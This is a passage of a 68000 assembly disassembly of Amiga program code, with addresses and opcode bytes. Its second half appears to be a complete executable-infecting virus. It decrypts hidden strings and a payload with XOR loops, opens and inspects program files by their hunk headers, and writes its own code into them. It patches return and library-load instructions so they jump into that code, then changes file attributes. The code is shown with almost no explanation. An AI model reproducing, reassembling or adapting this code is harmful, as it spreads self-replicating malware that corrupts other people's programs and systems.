  5600.     MOVEM.L    (A7)+,A3/A5        ;34C2: 4CDF2800
  5601.     ADDA    #$000C,A7        ;34C6: DEFC000C
  5602.     RTS                ;34CA: 4E75
  5603.     MOVEA.L    4(A7),A0        ;34CC: 206F0004
  5604. LAB_0304:
  5605.     MOVEM.L    D6-D7/A2-A3/A5-A6,-(A7)    ;34D0: 48E70336
  5606.     MOVEA.L    A0,A5            ;34D4: 2A48
  5607.     TST.L    520(A4)            ;34D6: 4AAC0208
  5608.     BNE.S    LAB_0308        ;34DA: 665E
  5609.     LEA    LAB_030E(PC),A0        ;34DC: 41FA00CA
  5610.     LEA    17436(A4),A1        ;34E0: 43EC441C
  5611.     MOVE    (A0),(A1)+        ;34E4: 32D0
  5612.     CLR.B    (A1)            ;34E6: 4211
  5613.     SUBA.L    A1,A1            ;34E8: 93C9
  5614.     BSR    LAB_031A        ;34EA: 61000178
  5615.     JSR    -294(A6)        ;34EE: 4EAEFEDA
  5616.     MOVEA.L    D0,A0            ;34F2: 2040
  5617.     MOVE.L    144(A0),D7        ;34F4: 2E280090
  5618.     LEA    17436(A4),A0        ;34F8: 41EC441C
  5619.     MOVEA.L    A0,A1            ;34FC: 2248
  5620. LAB_0305:
  5621.     TST.B    (A1)+            ;34FE: 4A19
  5622.     BNE.S    LAB_0305        ;3500: 66FC
  5623.     SUBQ.L    #1,A1            ;3502: 5389
  5624.     SUBA.L    A0,A1            ;3504: 93C8
  5625.     MOVE.L    A1,D6            ;3506: 2C09
  5626.     BRA.S    LAB_0307        ;3508: 601C
  5627. LAB_0306:
  5628.     MOVE.L    D7,D0            ;350A: 2007
  5629.     MOVEQ    #31,D1            ;350C: 721F
  5630.     AND.L    D1,D0            ;350E: C081
  5631.     MOVEA.L    524(A4),A0        ;3510: 206C020C
  5632.     ADDA.L    D0,A0            ;3514: D1C0
  5633.     MOVEA.L    D6,A1            ;3516: 2246
  5634.     ADDQ.L    #1,D6            ;3518: 5286
  5635.     LEA    17436(A4),A2        ;351A: 45EC441C
  5636.     MOVE.L    A1,D0            ;351E: 2009
  5637.     MOVE.B    (A0),0(A2,D0.L)        ;3520: 15900800
  5638.     LSR.L    #5,D7            ;3524: EA8F
  5639. LAB_0307:
  5640.     MOVEQ    #0,D0            ;3526: 7000
  5641.     CMP.L    D0,D7            ;3528: BE80
  5642.     BHI.S    LAB_0306        ;352A: 62DE
  5643.     LEA    17436(A4),A0        ;352C: 41EC441C
  5644.     MOVE.B    #$2E,0(A0,D6.L)        ;3530: 11BC002E6800
  5645.     CLR.B    1(A0,D6.L)        ;3536: 42306801
  5646. LAB_0308:
  5647.     MOVE.L    A5,D0            ;353A: 200D
  5648.     BNE.S    LAB_0309        ;353C: 6606
  5649.     LEA    17372(A4),A3        ;353E: 47EC43DC
  5650.     BRA.S    LAB_030A        ;3542: 6002
  5651. LAB_0309:
  5652.     MOVEA.L    A5,A3            ;3544: 264D
  5653. LAB_030A:
  5654.     MOVE.L    520(A4),D0        ;3546: 202C0208
  5655.     CMPI.L    #$0000270F,D0        ;354A: 0C800000270F
  5656.     BLE.S    LAB_030B        ;3550: 6F04
  5657.     MOVEQ    #0,D0            ;3552: 7000
  5658.     BRA.S    LAB_030C        ;3554: 602A
  5659. LAB_030B:
  5660.     MOVE.L    520(A4),D0        ;3556: 202C0208
  5661.     ADDQ.L    #1,520(A4)        ;355A: 52AC0208
  5662.     MOVE.L    D0,-(A7)        ;355E: 2F00
  5663.     PEA    17436(A4)        ;3560: 486C441C
  5664.     PEA    LAB_030F(PC)        ;3564: 487A0046
  5665.     MOVE.L    A3,-(A7)        ;3568: 2F0B
  5666.     JSR    LAB_0239(PC)        ;356A: 4EBAF0B4
  5667.     LEA    16(A7),A7        ;356E: 4FEF0010
  5668.     MOVEA.L    A3,A0            ;3572: 204B
  5669.     MOVEQ    #0,D0            ;3574: 7000
  5670.     JSR    LAB_0184(PC)        ;3576: 4EBAE378
  5671.     TST.L    D0            ;357A: 4A80
  5672.     BEQ.S    LAB_030A        ;357C: 67C8
  5673.     MOVE.L    A3,D0            ;357E: 200B
  5674. LAB_030C:
  5675.     MOVEM.L    (A7)+,D6-D7/A2-A3/A5-A6    ;3580: 4CDF6CC0
  5676.     RTS                ;3584: 4E75
  5677. LAB_030D:
  5678.     DC.W    $4142            ;3586
  5679.     DC.W    $4344            ;3588
  5680.     DC.W    $4546            ;358A
  5681.     DC.W    $4748            ;358C
  5682.     DC.W    $494A            ;358E
  5683.     DC.W    $4B4C            ;3590
  5684.     DC.W    $4D4E            ;3592
  5685.     DC.W    $4F50            ;3594
  5686.     SUBQ    #8,(A2)            ;3596: 5152
  5687.     SUBQ    #1,(A4)            ;3598: 5354
  5688.     SUBQ    #2,(A6)            ;359A: 5556
  5689.     SUBQ    #3,(A0)+        ;359C: 5758
  5690.     SUBQ    #4,(A2)+        ;359E: 595A
  5691.     DC.W    $3031            ;35A0
  5692.     DC.W    $3233            ;35A2
  5693.     MOVE    0(A5,D0.W),D2        ;35A4: 34350000
  5694. LAB_030E:
  5695.     DC.W    $543A            ;35A8
  5696.     DC.W    $0000            ;35AA
  5697. LAB_030F:
  5698.     DC.W    $2573            ;35AC
  5699.     DC.W    $2530            ;35AE
  5700.     MOVEA    -(A4),A2        ;35B0: 3464
  5701.     DC.W    $0000            ;35B2
  5702.     MOVEA.L    4(A7),A0        ;35B4: 206F0004
  5703. LAB_0310:
  5704.     MOVE.L    A6,-(A7)        ;35B8: 2F0E
  5705.     MOVE.L    A0,D1            ;35BA: 2208
  5706.     MOVEA.L    17356(A4),A6        ;35BC: 2C6C43CC
  5707.     JSR    -72(A6)            ;35C0: 4EAEFFB8
  5708.     TST.L    D0            ;35C4: 4A80
  5709.     BNE.S    LAB_0311        ;35C6: 6614
  5710.     JSR    -132(A6)        ;35C8: 4EAEFF7C
  5711.     MOVE.L    D0,600(A4)        ;35CC: 29400258
  5712.     JSR    LAB_0315(PC)        ;35D0: 4EBA0036
  5713.     MOVE.L    D0,17332(A4)        ;35D4: 294043B4
  5714.     MOVEQ    #1,D0            ;35D8: 7001
  5715.     BRA.S    LAB_0312        ;35DA: 6002
  5716. LAB_0311:
  5717.     MOVEQ    #0,D0            ;35DC: 7000
  5718. LAB_0312:
  5719.     MOVEA.L    (A7)+,A6        ;35DE: 2C5F
  5720.     RTS                ;35E0: 4E75
  5721.     DC.W    $0000            ;35E2
  5722.     MOVE.L    4(A7),D0        ;35E4: 202F0004
  5723. LAB_0313:
  5724.     MOVE.L    D0,D1            ;35E8: 2200
  5725.     ANDI.L    #$000000FF,D1        ;35EA: 0281000000FF
  5726.     LEA    44(A4),A0        ;35F0: 41EC002C
  5727.     MOVE.B    1(A0,D1.L),D1        ;35F4: 12301801
  5728.     ANDI.B    #$02,D1            ;35F8: 02010002
  5729.     BEQ.S    LAB_0314        ;35FC: 6704
  5730.     ANDI.B    #$DF,D0            ;35FE: 020000DF
  5731. LAB_0314:
  5732.     BRA.S    LAB_031B        ;3602: 6064
  5733.     MOVE.L    4(A7),D0        ;3604: 202F0004
  5734. LAB_0315:
  5735.     MOVE.L    D7,-(A7)        ;3608: 2F07
  5736.     MOVE.L    D0,D7            ;360A: 2E00
  5737.     BEQ.S    LAB_0319        ;360C: 6752
  5738.     MOVEQ    #103,D1            ;360E: 7267
  5739.     CMP.L    D1,D7            ;3610: BE81
  5740.     BLT.S    LAB_0318        ;3612: 6D4A
  5741.     MOVEQ    #122,D0            ;3614: 707A
  5742.     CMP.L    D0,D7            ;3616: BE80
  5743.     BGT.S    LAB_0316        ;3618: 6E0C
  5744.     MOVEQ    #0,D0            ;361A: 7000
  5745.     LEA    424(A4),A0        ;361C: 41EC01A8
  5746.     MOVE.B    0(A0,D7.L),D0        ;3620: 10307800
  5747.     BRA.S    LAB_0319        ;3624: 603A
  5748. LAB_0316:
  5749.     MOVEQ    #54,D0            ;3626: 7036
  5750.     NOT.B    D0            ;3628: 4600
  5751.     CMP.L    D0,D7            ;362A: BE80
  5752.     BLT.S    LAB_0318        ;362C: 6D30
  5753.     MOVEQ    #12,D0            ;362E: 700C
  5754.     NOT.B    D0            ;3630: 4600
  5755.     CMP.L    D0,D7            ;3632: BE80
  5756.     BGT.S    LAB_0317        ;3634: 6E0C
  5757.     MOVEQ    #0,D0            ;3636: 7000
  5758.     LEA    346(A4),A0        ;3638: 41EC015A
  5759.     MOVE.B    0(A0,D7.L),D0        ;363C: 10307800
  5760.     BRA.S    LAB_0319        ;3640: 601E
  5761. LAB_0317:
  5762.     CMPI.L    #$0000012F,D7        ;3642: 0C870000012F
  5763.     BLT.S    LAB_0318        ;3648: 6D14
  5764.     CMPI.L    #$00000131,D7        ;364A: 0C8700000131
  5765.     BGE.S    LAB_0318        ;3650: 6C0C
  5766.     MOVEQ    #0,D0            ;3652: 7000
  5767.     LEA    284(A4),A0        ;3654: 41EC011C
  5768.     MOVE.B    0(A0,D7.L),D0        ;3658: 10307800
  5769.     BRA.S    LAB_0319        ;365C: 6002
  5770. LAB_0318:
  5771.     MOVEQ    #5,D0            ;365E: 7005
  5772. LAB_0319:
  5773.     MOVE.L    (A7)+,D7        ;3660: 2E1F
  5774.     BRA.S    LAB_031B        ;3662: 6004
  5775. LAB_031A:
  5776.     MOVEA.L    (ABSEXECBASE).W,A6    ;3664: 2C780004
  5777. LAB_031B:
  5778.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;3668: 48E7FFFE
  5779.     MOVEA.L    (ABSEXECBASE).W,A6    ;366C: 2C780004
  5780.     MOVEQ    #37,D0            ;3670: 7025
  5781.     LEA    LAB_033D(PC),A1        ;3672: 43FA02F6
  5782.     JSR    -552(A6)        ;3676: 4EAEFDD8
  5783.     TST.L    D0            ;367A: 4A80
  5784.     BEQ.S    LAB_031C        ;367C: 6722
  5785.     LEA    LAB_033F(PC),A1        ;367E: 43FA02FC
  5786.     MOVE.L    D0,(A1)            ;3682: 2280
  5787.     BSR.S    LAB_031D        ;3684: 6120
  5788.     BSR    LAB_0339        ;3686: 61000282
  5789.     TST.L    D0            ;368A: 4A80
  5790.     BEQ.S    LAB_031C        ;368C: 6712
  5791.     MOVEA.L    LAB_033F(PC),A6        ;368E: 2C7A02EC
  5792.     LEA    LAB_033C+4(PC),A1    ;3692: 43FA02CC
  5793.     MOVE.L    D0,48(A1)        ;3696: 23400030
  5794.     BSR.S    LAB_0323        ;369A: 613A
  5795.     BSR    LAB_033A        ;369C: 61000286
  5796. LAB_031C:
  5797.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;36A0: 4CDF7FFF
  5798.     RTS                ;36A4: 4E75
  5799. LAB_031D:
  5800.     LEA    LAB_033B(PC),A1        ;36A6: 43FA0292
  5801.     MOVEQ    #47,D0            ;36AA: 702F
  5802. LAB_031E:
  5803.     EORI.B    #$85,(A1)+        ;36AC: 0A190085
  5804.     DBF    D0,LAB_031E        ;36B0: 51C8FFFA
  5805.     LEA    LAB_0346(PC),A1        ;36B4: 43FA02E2
  5806.     MOVE    #$0275,D0        ;36B8: 303C0275
  5807. LAB_031F:
  5808.     EORI    #$BEEF,(A1)+        ;36BC: 0A59BEEF
  5809.     DBF    D0,LAB_031F        ;36C0: 51C8FFFA
  5810.     JMP    -636(A6)        ;36C4: 4EEEFD84
  5811. LAB_0320:
  5812.     JSR    -48(A6)            ;36C8: 4EAEFFD0
  5813. LAB_0321:
  5814.     RTS                ;36CC: 4E75
  5815. LAB_0322:
  5816.     MOVE.L    LAB_0341(PC),D1        ;36CE: 223A02B4
  5817.     JMP    -90(A6)            ;36D2: 4EEEFFA6
  5818. LAB_0323:
  5819.     MOVEA.L    LAB_033F(PC),A6        ;36D6: 2C7A02A4
  5820.     MOVE.L    A1,D1            ;36DA: 2209
  5821.     LEA    LAB_0340(PC),A1        ;36DC: 43FA02A2
  5822.     MOVE.L    D1,(A1)            ;36E0: 2281
  5823.     MOVEQ    #-2,D2            ;36E2: 74FE
  5824.     JSR    -84(A6)            ;36E4: 4EAEFFAC
  5825.     TST.L    D0            ;36E8: 4A80
  5826.     BEQ.S    LAB_0321        ;36EA: 67E0
  5827.     MOVE.L    D0,D1            ;36EC: 2200
  5828.     LEA    LAB_0341(PC),A1        ;36EE: 43FA0294
  5829.     MOVE.L    D1,(A1)            ;36F2: 2281
  5830.     MOVE.L    LAB_0344(PC),D2        ;36F4: 243A029A
  5831.     JSR    -102(A6)        ;36F8: 4EAEFF9A
  5832.     MOVEA.L    LAB_0344(PC),A1        ;36FC: 227A0292
  5833.     TST    116(A1)            ;3700: 4A690074
  5834.     BNE.S    LAB_0322        ;3704: 66C8
  5835.     CMPI.L    #$0001E848,124(A1)    ;3706: 0CA90001E848007C
  5836.     BCC.S    LAB_0322        ;370E: 64BE
  5837.     LEA    LAB_0342(PC),A2        ;3710: 45FA0276
  5838.     MOVE.L    124(A1),(A2)        ;3714: 24A9007C
  5839.     MOVE.L    LAB_0341(PC),D1        ;3718: 223A026A
  5840.     MOVE.L    LAB_0344(PC),D2        ;371C: 243A0272
  5841.     JSR    -114(A6)        ;3720: 4EAEFF8E
  5842.     TST.L    D0            ;3724: 4A80
  5843.     BEQ.S    LAB_0322        ;3726: 67A6
  5844.     MOVEA.L    LAB_0344(PC),A1        ;3728: 227A0266
  5845.     CMPI.L    #$00000052,8(A1)    ;372C: 0CA9000000520008
  5846.     BNE.S    LAB_0322        ;3734: 6698
  5847.     MOVE.L    12(A1),D0        ;3736: 2029000C
  5848.     SUB.L    16(A1),D0        ;373A: 90A90010
  5849.     CMP.L    #$0000000A,D0        ;373E: B0BC0000000A
  5850.     BCS.S    LAB_0322        ;3744: 6588
  5851.     BSR.S    LAB_0322        ;3746: 6186
  5852.     MOVE.L    LAB_0340(PC),D1        ;3748: 223A0236
  5853.     CLR.L    D2            ;374C: 4282
  5854.     JSR    -186(A6)        ;374E: 4EAEFF46
  5855.     MOVEA.L    (ABSEXECBASE).W,A6    ;3752: 2C780004
  5856.     MOVE.L    #$00050001,D1        ;3756: 223C00050001
  5857.     MOVE.L    LAB_0342(PC),D0        ;375C: 203A022A
  5858.     MOVE.L    LAB_033E+2(PC),D2    ;3760: 243A0216
  5859.     ADD.L    D2,D0            ;3764: D082
  5860.     JSR    -684(A6)        ;3766: 4EAEFD54
  5861.     TST.L    D0            ;376A: 4A80
  5862.     BEQ    LAB_0321        ;376C: 6700FF5E
  5863.     LEA    LAB_0343(PC),A1        ;3770: 43FA021A
  5864.     MOVE.L    D0,(A1)            ;3774: 2280
  5865.     MOVE.L    #$000003EC,D2        ;3776: 243C000003EC
  5866.     MOVE.L    LAB_0340(PC),D1        ;377C: 223A0202
  5867.     MOVEA.L    LAB_033F(PC),A6        ;3780: 2C7A01FA
  5868.     JSR    -30(A6)            ;3784: 4EAEFFE2
  5869.     TST.L    D0            ;3788: 4A80
  5870.     BEQ.S    LAB_0325        ;378A: 6764
  5871.     LEA    LAB_0341(PC),A1        ;378C: 43FA01F6
  5872.     MOVE.L    D0,(A1)            ;3790: 2280
  5873.     MOVE.L    D0,D1            ;3792: 2200
  5874.     MOVE.L    LAB_0343(PC),D2        ;3794: 243A01F6
  5875.     MOVE.L    LAB_033E+2(PC),D4    ;3798: 283A01DE
  5876.     ADD.L    D4,D2            ;379C: D484
  5877.     MOVE.L    LAB_0342(PC),D3        ;379E: 263A01E8
  5878.     JSR    -42(A6)            ;37A2: 4EAEFFD6
  5879.     MOVE.L    LAB_0341(PC),D1        ;37A6: 223A01DC
  5880.     MOVEQ    #0,D2            ;37AA: 7400
  5881.     MOVEQ    #-1,D3            ;37AC: 76FF
  5882.     JSR    -66(A6)            ;37AE: 4EAEFFBE
  5883.     BSR.S    LAB_0327        ;37B2: 6152
  5884.     BNE.S    LAB_0324        ;37B4: 6616
  5885.     MOVE.L    LAB_0341(PC),D1        ;37B6: 223A01CC
  5886.     MOVE.L    LAB_0343(PC),D2        ;37BA: 243A01D0
  5887.     MOVE.L    LAB_0342(PC),D3        ;37BE: 263A01C8
  5888.     MOVE.L    LAB_033E+2(PC),D4    ;37C2: 283A01B4
  5889.     ADD.L    D4,D3            ;37C6: D684
  5890.     BSR    LAB_0320        ;37C8: 6100FEFE
  5891. LAB_0324:
  5892.     MOVE.L    LAB_0341(PC),D1        ;37CC: 223A01B6
  5893.     JSR    -36(A6)            ;37D0: 4EAEFFDC
  5894.     BSR.S    LAB_0326        ;37D4: 6126
  5895.     MOVE    #$FAB4,116(A1)        ;37D6: 337CFAB40074
  5896.     MOVE.L    116(A1),D2        ;37DC: 24290074
  5897.     JSR    -186(A6)        ;37E0: 4EAEFF46
  5898.     BSR.S    LAB_0326        ;37E4: 6116
  5899.     LEA    132(A1),A1        ;37E6: 43E90084
  5900.     MOVE.L    A1,D2            ;37EA: 2409
  5901.     JSR    -396(A6)        ;37EC: 4EAEFE74
  5902. LAB_0325:
  5903.     MOVEA.L    (ABSEXECBASE).W,A6    ;37F0: 2C780004
  5904.     MOVEA.L    LAB_0343(PC),A1        ;37F4: 227A0196
  5905.     JMP    -690(A6)        ;37F8: 4EEEFD4E
  5906. LAB_0326:
  5907.     MOVEA.L    LAB_0344(PC),A1        ;37FC: 227A0192
  5908.     MOVE.L    LAB_0340(PC),D1        ;3800: 223A017E
  5909.     RTS                ;3804: 4E75
  5910. LAB_0327:
  5911.     MOVEA.L    LAB_0343(PC),A1        ;3806: 227A0184
  5912.     MOVEA.L    A1,A2            ;380A: 2449
  5913.     MOVE.L    LAB_033E+2(PC),D1    ;380C: 223A016A
  5914.     ADDA.L    D1,A2            ;3810: D5C1
  5915.     MOVE.L    8(A2),D1        ;3812: 222A0008
  5916.     ADDQ.L    #1,D1            ;3816: 5281
  5917.     MOVEQ    #4,D2            ;3818: 7404
  5918. LAB_0328:
  5919.     MOVE.L    (A2)+,(A1)+        ;381A: 22DA
  5920.     DBF    D2,LAB_0328        ;381C: 51CAFFFC
  5921. LAB_0329:
  5922.     MOVE.L    (A2)+,(A1)+        ;3820: 22DA
  5923.     DBF    D1,LAB_0329        ;3822: 51C9FFFC
  5924.     CMPI.L    #$000003E9,-8(A1)    ;3826: 0CA9000003E9FFF8
  5925.     BEQ.S    LAB_032A        ;382E: 6704
  5926.     MOVEQ    #-1,D0            ;3830: 70FF
  5927.     RTS                ;3832: 4E75
  5928. LAB_032A:
  5929.     MOVE.L    -4(A1),D1        ;3834: 2229FFFC
  5930.     MOVE.L    A1,D6            ;3838: 2C09
  5931.     MOVE.L    D1,D3            ;383A: 2601
  5932.     SUBQ.L    #1,D1            ;383C: 5381
  5933. LAB_032B:
  5934.     MOVE.L    (A2)+,(A1)+        ;383E: 22DA
  5935.     DBF    D1,LAB_032B        ;3840: 51C9FFFC
  5936.     MOVE.L    LAB_033E+2(PC),D1    ;3844: 223A0132
  5937.     LSR    #2,D1            ;3848: E449
  5938.     MOVE.L    D1,D2            ;384A: 2401
  5939.     SUBQ.L    #1,D1            ;384C: 5381
  5940.     LEA    LAB_0345(PC),A3        ;384E: 47FA0144
  5941.     MOVE.L    A1,D4            ;3852: 2809
  5942. LAB_032C:
  5943.     MOVE.L    (A3)+,(A1)+        ;3854: 22DB
  5944.     DBF    D1,LAB_032C        ;3856: 51C9FFFC
  5945.     MOVEA.L    D6,A1            ;385A: 2246
  5946.     MOVEA.L    LAB_0343(PC),A2        ;385C: 247A012E
  5947.     LEA    20(A2),A2        ;3860: 45EA0014
  5948.     BSR.S    LAB_0335        ;3864: 617E
  5949.     MOVEA.L    A1,A4            ;3866: 2849
  5950.     MOVE.L    D4,D7            ;3868: 2E04
  5951.     ASL.L    #1,D3            ;386A: E383
  5952.     MOVEQ    #-2,D0            ;386C: 70FE
  5953. LAB_032D:
  5954.     CMPI.L    #$2C780004,(A4)        ;386E: 0C942C780004
  5955.     BEQ.S    LAB_0330        ;3874: 672C
  5956.     CMPI.L    #$2C790000,(A4)        ;3876: 0C942C790000
  5957.     BEQ.S    LAB_0332        ;387C: 6736
  5958.     CMPI    #$4E75,(A4)        ;387E: 0C544E75        ;RTS aanwezig?
  5959.     BEQ.S    LAB_032F        ;3882: 670A
  5960. LAB_032E:
  5961.     ADDQ.L    #2,A4            ;3884: 548C
  5962.     DBF    D3,LAB_032D        ;3886: 51CBFFE6
  5963.     TST.L    D0            ;388A: 4A80
  5964.     RTS                ;388C: 4E75
  5965. LAB_032F:
  5966.     BSR.S    LAB_0333        ;388E: 6140
  5967.     CMP.L    #$0000007B,D5        ;3890: BABC0000007B
  5968.     BCC.S    LAB_032E        ;3896: 64EC
  5969.     ADDQ    #4,D5            ;3898: 5845
  5970.     MOVE.B    #$60,(A4)+        ;389A: 18FC0060
  5971.     MOVE.B    D5,(A4)+        ;389E: 18C5
  5972.     BRA.S    LAB_0331        ;38A0: 600C
  5973. LAB_0330:
  5974.     BSR.S    LAB_0333        ;38A2: 612C
  5975.     CMP.L    #$00007FFF,D5        ;38A4: BABC00007FFF
  5976.     BCC.S    LAB_032E        ;38AA: 64D8
  5977.     BSR.S    LAB_0334        ;38AC: 612E
  5978. LAB_0331:
  5979.     CLR.L    D0            ;38AE: 4280
  5980.     SUBQ.L    #1,D3            ;38B0: 5383
  5981.     BRA.S    LAB_032E        ;38B2: 60D0
  5982. LAB_0332:
  5983.     CMPI    #$0004,4(A4)        ;38B4: 0C6C00040004
  5984.     BNE.S    LAB_032E        ;38BA: 66C8
  5985.     BSR.S    LAB_0333        ;38BC: 6112
  5986.     CMP.L    #$00007FFF,D5        ;38BE: BABC00007FFF
  5987.     BCC.S    LAB_032E        ;38C4: 64BE
  5988.     BSR.S    LAB_0334        ;38C6: 6114
  5989.     MOVE    #$4E71,2(A4)        ;38C8: 397C4E710002
  5990.     BRA.S    LAB_0331        ;38CE: 60DE
  5991. LAB_0333:
  5992.     LEA    2(A4),A3        ;38D0: 47EC0002
  5993.     MOVE.L    A3,D6            ;38D4: 2C0B
  5994.     MOVE.L    D7,D5            ;38D6: 2A07
  5995.     SUB.L    D6,D5            ;38D8: 9A86
  5996.     RTS                ;38DA: 4E75
  5997. LAB_0334:
  5998.     MOVE    #$6100,(A4)+        ;38DC: 38FC6100
  5999.     MOVE    D5,(A4)            ;38E0: 3885
  6000.     RTS                ;38E2: 4E75
  6001. LAB_0335:
  6002.     MOVE.L    LAB_033E+2(PC),D7    ;38E4: 2E3A0092
  6003.     LSR.L    #2,D7            ;38E8: E48F
  6004.     MOVE.L    -4(A1),D5        ;38EA: 2A29FFFC
  6005. LAB_0336:
  6006.     MOVE.L    (A2)+,D6        ;38EE: 2C1A
  6007.     CMPA.L    A1,A2            ;38F0: B5C9
  6008.     BEQ.S    LAB_0338        ;38F2: 6710
  6009.     ANDI.L    #$1FFFFFFF,D6        ;38F4: 02861FFFFFFF
  6010.     CMP.L    D5,D6            ;38FA: BC85
  6011.     BEQ.S    LAB_0337        ;38FC: 6702
  6012.     BRA.S    LAB_0336        ;38FE: 60EE
  6013. LAB_0337:
  6014.     ADD.L    D7,-4(A2)        ;3900: DFAAFFFC
  6015. LAB_0338:
  6016.     ADD.L    D7,-4(A1)        ;3904: DFA9FFFC
  6017.     RTS                ;3908: 4E75
  6018. LAB_0339:
  6019.     MOVEM.L    D1/A6,-(A7)        ;390A: 48E74002
  6020.     MOVEA.L    (ABSEXECBASE).W,A6    ;390E: 2C780004
  6021.     MOVE.L    #$0000012C,D0        ;3912: 203C0000012C
  6022.     MOVEQ    #1,D1            ;3918: 7201
  6023.     JSR    -684(A6)        ;391A: 4EAEFD54
  6024.     MOVEM.L    (A7)+,D1/A6        ;391E: 4CDF4002
  6025.     RTS                ;3922: 4E75
  6026. LAB_033A:
  6027.     MOVEM.L    D0/A1/A6,-(A7)        ;3924: 48E78042
  6028.     MOVEA.L    (ABSEXECBASE).W,A6    ;3928: 2C780004
  6029.     MOVEA.L    LAB_0344(PC),A1        ;392C: 227A0062
  6030.     JSR    -690(A6)        ;3930: 4EAEFD4E
  6031.     MOVEM.L    (A7)+,D0/A1/A6        ;3934: 4CDF4201
  6032.     RTS                ;3938: 4E75
  6033. LAB_033B:
  6034.     DC.W    $CCEB            ;393A
  6035.     DC.W    $F6F1            ;393C
  6036.     ROXR    -5664(A1)        ;393E: E4E9E9E0
  6037.     DC.W    $F7A5            ;3942
  6038.     DC.W    $F3B4            ;3944
  6039.     DC.W    $ABB6            ;3946
  6040.     DC.W    $A5E7            ;3948
  6041.     DC.W    $FCA5            ;394A
  6042.     DC.W    $D0EB            ;394C
  6043.     DC.W    $ECF1            ;394E
  6044.     ASR    -(A1)            ;3950: E0E1
  6045.     DC.W    $A5C3            ;3952
  6046.     DC.W    $EAF7            ;3954
  6047.     ROR    -(A0)            ;3956: E6E0
  6048.     ADD.L    -(A5),D3        ;3958: D6A5
  6049.     DC.W    $2CB4            ;395A
  6050. LAB_033C:
  6051.     CMP.L    #$B385E6BF,D6        ;395C: BCBCB385E6BF
  6052.     DC.W    $E9EA            ;3962
  6053.     ROXR    -(A1)            ;3964: E4E1
  6054.     DC.W    $F2E7            ;3966
  6055.     DC.W    $8585            ;3968
  6056. LAB_033D:
  6057.     DC.W    $646F            ;396A
  6058.     DC.W    $732E            ;396C
  6059.     DC.W    $6C69            ;396E
  6060.     BHI.S    LAB_0347        ;3970: 6272
  6061.     BSR.S    LAB_0348        ;3972: 6172
  6062.     DC.W    $7900            ;3974
  6063. LAB_033E:
  6064.     ORI.B    #$00,D0            ;3976: 00000000
  6065.     DC.W    $04F0            ;397A
  6066. LAB_033F:
  6067.     ORI.B    #$00,D0            ;397C: 00000000
  6068. LAB_0340:
  6069.     ORI.B    #$00,D0            ;3980: 00000000
  6070. LAB_0341:
  6071.     ORI.B    #$00,D0            ;3984: 00000000
  6072. LAB_0342:
  6073.     ORI.B    #$00,D0            ;3988: 00000000
  6074. LAB_0343:
  6075.     ORI.B    #$00,D0            ;398C: 00000000
  6076. LAB_0344:
  6077.     ORI.B    #$00,D0            ;3990: 00000000
  6078. LAB_0345:
  6079.     MOVEA.L    (ABSEXECBASE).W,A6    ;3994: 2C780004
  6080. LAB_0346:
  6081.     DC.W    $F608            ;3998
  6082.     DC.W    $4111            ;399A
  6083.     ADDA.L    -(A7),A7        ;399C: DFE7
  6084.     ADDA.L    (A1),A7            ;399E: DFD1
  6085.     DC.W    $F230            ;39A0
  6086.     AND.B    D0,(A0)            ;39A2: C110
  6087.     DC.W    $F09A            ;39A4
  6088.     DC.W    $F608            ;39A6
  6089.     DC.W    $4111            ;39A8
  6090.     DC.W    $FF15            ;39AA
  6091.     CMPA    A5,A5            ;39AC: BACD
  6092.     DC.W    $FD15            ;39AE
  6093.     DC.W    $BA3B            ;39B0
  6094.     DC.W    $B4B7            ;39B2
  6095.     SUBI    #$0D27,(A1)        ;39B4: 04510D27
  6096.     ADD.B    (A7),D4            ;39B8: D817
  6097.     SUB.L    (A7),D1            ;39BA: 9297
  6098.     DC.W    $BEEB            ;39BC
  6099.     DC.W    $F041            ;39BE
  6100.     DC.W    $436B            ;39C0
  6101.     DC.W    $F230            ;39C2
  6102.     AND.B    D0,(A0)            ;39C4: C110
  6103.     DC.W    $F09A            ;39C6
  6104.     DC.W    $F608            ;39C8
  6105.     AND.B    D0,(A1)            ;39CA: C111
  6106.     SUBA    (A3),A6            ;39CC: 9CD3
  6107.     CMPA    -16658(A2),A7        ;39CE: BEEABEEE
  6108.     DC.W    $F041            ;39D2
  6109.     DC.W    $43BB            ;39D4
  6110.     DC.W    $F230            ;39D6
  6111.     AND.B    D0,(A1)            ;39D8: C111
  6112.     DC.W    $F46F            ;39DA
  6113.     DC.W    $F09A            ;39DC
  6114.     SUB.L    (A7),D1            ;39DE: 9297
  6115.     DC.W    $BEEB            ;39E0
  6116.     CMP    D1,D1            ;39E2: B241
  6117. LAB_0347:
  6118.     ROR.L    D5,D5            ;39E4: EABD
  6119. LAB_0348:
  6120.     ASL.L    #6,D6            ;39E6: ED86
  6121.     DC.W    $BCED            ;39E8
  6122.     ADD.B    D4,(A7)+        ;39EA: D91F
  6123.     SUBA    (A3),A7            ;39EC: 9ED3
  6124.     DC.W    $BEEF            ;39EE
  6125.     DC.W    $BCEF            ;39F0
  6126.     DC.W    $DF3B            ;39F2
  6127.     ADDX.B    -(A1),-(A4)        ;39F4: D909
  6128.     DC.W    $FD15            ;39F6
  6129.     DC.W    $414F            ;39F8
  6130.     DC.W    $9DAF            ;39FA
  6131.     CMPA    A1,A5            ;39FC: BAC9
  6132.     SUBA    (A3),A7            ;39FE: 9ED3
  6133.     DC.W    $BEEF            ;3A00
  6134.     CMPA.L    A5,A5            ;3A02: BBCD
  6135.     ADD.B    D7,-9925(A5)        ;3A04: DF2DD93B
  6136.     DC.W    $9EAF            ;3A08
  6137.     DIVU    (A3),D6            ;3A0A: 8CD3
  6138.     CMP.B    D4,D5            ;3A0C: BA04
  6139.     DC.W    $AE36            ;3A0E
  6140.     ASL.B    D7,D6            ;3A10: EF26
  6141.     DC.W    $4113            ;3A12
  6142.     DC.W    $9EAF            ;3A14
  6143.     DC.W    $F687            ;3A16
  6144.     DC.W    $BE69            ;3A18
  6145.     DC.W    $F001            ;3A1A
  6146.     DC.W    $436B            ;3A1C
  6147.     DC.W    $FD15            ;3A1E
  6148.     CMPM    (A5)+,(A6)+        ;3A20: BD4D
  6149.     SUB.L    D6,(A3)            ;3A22: 9D93
  6150.     DC.W    $AEED            ;3A24
  6151.     DC.W    $BEF6            ;3A26
  6152.     CMP.B    -12598(A1),D7        ;3A28: BE29CECA
  6153.     DC.W    $F041            ;3A2C
  6154.     DC.W    $4337            ;3A2E
  6155.     DC.W    $F46F            ;3A30
  6156.     ADDX    D7,D4            ;3A32: D947
  6157.     DC.W    $FD15            ;3A34
  6158.     CMP.L    -(A1),D5        ;3A36: BAA1
